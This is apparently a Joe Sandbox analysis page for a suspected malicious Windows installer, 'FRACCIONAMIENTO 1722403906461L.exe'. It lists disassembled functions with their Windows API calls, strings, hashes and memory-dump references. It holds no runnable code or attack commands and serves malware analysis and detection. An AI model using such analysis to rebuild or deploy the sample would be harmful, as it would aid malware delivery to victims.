Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
Opcode Fuzzy Hash: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00404783 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404821
GetDlgItem.USER32(?,000003E8), ref: 00404835
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
GetSysColor.USER32(?), ref: 00404863
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
lstrlenW.KERNEL32(?), ref: 00404884
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
GetDlgItem.USER32(?,0000040A), ref: 004048FF
SendMessageW.USER32(00000000), ref: 00404906
GetDlgItem.USER32(?,000003E8), ref: 00404931
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
LoadCursorW.USER32(00000000,00007F02), ref: 00404982
SetCursor.USER32(00000000), ref: 00404985
LoadCursorW.USER32(00000000,00007F00), ref: 0040499E
SetCursor.USER32(00000000), ref: 004049A1
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2

Strings

N, xrefs: 0040491F
Call, xrefs: 00404960

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004062AE Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004062F2

Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 0040630F
wsprintfA.USER32 ref: 0040632D
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
GlobalFree.KERNEL32(00000000), ref: 00406416
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040641D

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Strings

uB, xrefs: 00406304
mB, xrefs: 004062D7
%ls=%ls, xrefs: 00406323
[Rename], xrefs: 00406397, 004063A9
uB, xrefs: 0040630B

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
Opcode Fuzzy Hash: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066A5 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004067C0
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422728,?,00405701,00422728,00000000,00000000,00000000,00000000), ref: 004067D3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040678E
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406844
Call, xrefs: 004066CF, 00406782, 00406789, 0040678D, 004067AA, 004067BF, 004067D2, 004067E7, 00406814, 00406849, 0040684F, 0040686C, 0040687F, 0040689D, 004068A3, 004068AC, 004068E2

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-1230650788
Opcode ID: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
Opcode Fuzzy Hash: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004056CA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
SetWindowTextW.USER32(00422728,00422728), ref: 00405737
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

Strings

('B, xrefs: 004056EB

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: ('B
API String ID: 1495540970-2332581011
Opcode ID: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
Opcode Fuzzy Hash: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040462B Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404648
GetSysColor.USER32(00000000), ref: 00404686
SetTextColor.GDI32(?,00000000), ref: 00404692
SetBkMode.GDI32(?,?), ref: 0040469E
GetSysColor.USER32(?), ref: 004046B1
SetBkColor.GDI32(?,?), ref: 004046C1
DeleteObject.GDI32(?), ref: 004046DB
CreateBrushIndirect.GDI32(?), ref: 004046E5

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004068EF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,769B3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
CharNextW.USER32(?,00000000,769B3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
CharPrevW.USER32(?,?,769B3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004068F0
*?|<>/":, xrefs: 00406941

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2977677972
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00403049
GetTickCount.KERNEL32 ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

CreateDialogParamW.USER32(0000006F,00000000,00402F93,00000000), ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32(00000000,00000064,0000004E), ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
Opcode Fuzzy Hash: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00404F7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
GetMessagePos.USER32 ref: 00404FA2
ScreenToClient.USER32(?,?), ref: 00404FBC
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4

Strings

f, xrefs: 00404FD0

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32(?,?), ref: 00402FF5
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403007

Strings

unpacking data: %d%%, xrefs: 00402FD3, 00402FE3
verifying installer: %d%%, xrefs: 00402FDA

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59

Uniqueness

Uniqueness Score: -1.00%

Function 71312655 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 713112BB: GlobalAlloc.KERNEL32(00000040,?,713112DB,?,7131137F,00000019,713111CA,-000000A0), ref: 713112C5

GlobalFree.KERNEL32(?), ref: 71312743
GlobalFree.KERNEL32(00000000), ref: 71312778

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: cf37ca8afbc80241d3e863f87dc56ca4856df493457fa82cc2abade54bfc8e83
Instruction ID: f2d8c5431ac083dddd6c64d798bf4ce8d097a60cb74e210bb1b1b36d6ee0788e
Opcode Fuzzy Hash: cf37ca8afbc80241d3e863f87dc56ca4856df493457fa82cc2abade54bfc8e83
Instruction Fuzzy Hash: 7731CF72608D07DFD71A8F6AC984D6BBBBAFB8A348334452DF14183269D7315805BB61

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
